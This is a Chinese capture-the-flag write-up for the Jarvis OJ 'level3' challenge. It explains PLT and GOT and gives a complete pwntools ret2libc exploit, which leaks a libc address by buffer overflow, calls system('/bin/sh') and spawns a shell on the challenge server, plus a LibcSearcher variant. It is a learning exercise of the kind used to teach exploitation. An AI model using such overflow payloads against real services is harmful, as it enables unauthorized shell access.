Jarvis oj level3
下载下来发现有level3文件和libc.so文件,先checksec,和level2差不多,接着ida打开level3,没找到system函数和bin字符串,没什么办法了。接着去看so文件,libc是Linux下的ANSI C的函数库。找到了system函数和bin字符串。那么怎么利用呢?
首先了解plt和got表。链接
我是这么理解的:plt表中存放的是函数在got表中该项的地址,got表存放的是函数在内存中的真实地址,也就是说plt[write]指向got[write],got[write]指向write函数在内存中的地址。而plt表在服务器和客户机是一样的,不一样的是函数在内存中的地址。程序运行后加载动态库,把动态库中的相应函数地址填入GOT表。同时还有个知识点,libc文件中不同函数、数据之间的偏移量在服务器和客户机中是一样的。
因此思想是首先利用write函数将服务器中函数的地址泄露,构造write(got[write])。
低 | |
---|---|
pad | |
ebp | |
ret_addr | |
write的参数1,从右到左 | |
write的参数2 | |
write的参数3 | |
高 |
得到服务器中write函数的真实地址。
由于函数在内存中距so文件开头地址是一样的,因此算出offset=服务器函数地址-本地地址,服务器地址即为本地地址+offset。
脚本:
from pwn import *
conn=remote("pwn2.jarvisoj.com","9879")
e=ELF("level3")
libc=ELF("libc-2.19.so")
write_addr=e.symbols['write']
vul_addr=e.symbols['vulnerable_function']
got_addr=e.got['write']conn.recvuntil("Input:\n")
payload1="a"*0x88+"bbbb"+p32(write_addr)+p32(vul_addr)+p32(1)+p32(got_addr)+p32(4)
conn.send(payload1)
temp = conn.recv(4)
true_address = u32(temp[0:4])
print hex(true_address)offset=true_address-libc.symbols['write']bin_addr=libc.search("/bin/sh").next()+offset
sys_addr=libc.symbols['system']+offsetpayload2="a"*0x88+"bbbb"+p32(sys_addr)+"junk"+p32(bin_addr)
conn.send(payload2)
conn.interactive()
注意点:
我在p32里运算有问题,拉出来就可以了。
加一种,如果不知道libc版本,使用LibcSearcher库:
obj = LibcSearcher("read", u32(read_got)) //根据read的地址后3字节判断libc版本
offset=u32(read_got)-obj.dump('read') //偏移
sys=obj.dump("system")+offset
bins=obj.dump("str_bin_sh")+offset
Jarvis oj level3相关推荐
- [Jarvis OJ - PWN]——[XMAN]level3
[Jarvis OJ - PWN]--[XMAN]level3 题目地址:https://www.jarvisoj.com/challenges 题目: 先checksec一下,32位程序开启了NX保 ...
- [Jarvis OJ - PWN]——[XMAN]level3_x64
[Jarvis OJ - PWN]--[XMAN]level3_x64 题目地址:https://www.jarvisoj.com/challenges 题目: 老样子,还是先checksec一下,再 ...
- Jarvis OJ PWN题解 持续更新~
最近沉(被)迷(迫)学pwn 看我们的志琦大佬 我就知道 pwn 玩玩就行 但是 不认真学 不行 然后向大佬打听了几个pwn的平台网站 打算 玩一下 这里找到了 Jarvis OJ ...
- [Jarvis OJ - PWN]——Typo(内涵peak小知识)
[Jarvis OJ - PWN]--Typo 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先check一下, 是arm架构.还是第一次遇到. pe ...
- [Jarvis OJ - PWN]——Backdoor
[Jarvis OJ - PWN]--Backdoor 题目地址: https://www.jarvisoj.com/challenges 题目: 额,怎么说呢这个题有点出乎我的意料, 有点晕乎乎的. ...
- [Jarvis OJ - PWN]——[61dctf]fm
[Jarvis OJ - PWN]--[61dctf]fm 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下, 开启了canary ...
- [Jarvis OJ - PWN]——Test Your Memory
[Jarvis OJ - PWN]--Test Your Memory 题目地址: https://www.jarvisoj.com/challenges 题目: 32位程序,开了NX保护 IDA e ...
- [Jarvis OJ - PWN]——[XMAN]level4
[Jarvis OJ - PWN]--[XMAN]level4 题目地址: https://www.jarvisoj.com/challenges 题目: checksec一下 IDA中 思路 0x1 ...
- [Jarvis OJ - PWN]——Smashes
[Jarvis OJ - PWN]--Smashes 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下看看.64位,并且除了PIE ...
最新文章
- 手动创建一棵二叉树,然后利用前序、中序、后序、层序进行遍历(从创建二叉树到各种方式遍历)(含运行结果)
- True Zero Downtime HAProxy Reloads--转载
- DGL实现同构/异构图卷积模型
- 初识C++之函数重载
- OOA OOD OOP
- radar(nyoj287贪心)
- [导入]实现删除主表数据时, 判断与之关联的外键表是否有数据引用, 有标志, 无则删除...
- 知乎 2019 新知青年大会开幕,用问题改变世界的方向
- 【黄金分割点】与【斐波那契数列】
- win11文件夹打开延迟怎么办 Windows11文件打开延迟的解决方法
- 由电子领域延伸的技术视野
- 基于openstack构建私有云实践
- windows下安装禅道
- java获取时间戳几天前
- 游戏美术行业的薪资待遇,人与人的差距真的在于努力,来看看数据吧
- 计算机专业社会需要分析,计算机专业社会需求数据分析开题报告.doc
- 完整学习笔记之Android基础(详版)
- 服务器怎么当虚拟主机,服务器怎么做虚拟主机
- 吴恩达机器学习ex2-logistic regression python版
- EBS中导入xdf出现错误Error during upload of Fnd_Columns
热门文章
- 区间选点acwing905(贪心算法)
- Making FIFA Coins with FUT 14 Winter Upgrades
- linux关闭硬盘检测,关闭Linux开机强制检测硬盘
- java8的option避免NullPoint异常
- hda vs sda
- 普罗米修斯Prometheus+Grafana,监控搭建与界面基础配置
- OLTP和OLAP的区别;
- Directory Opus Pro v12.29.8272 文件管理资源管理器工具专业版
- 基于codesys开发的多轴运动控制程序框架,将逻辑与运动控制分离,将单轴控制封装成功能块,对该功能块的操作包含了所有的单轴控制
- ElementUI日期转为“yyyy-MM-dd“格式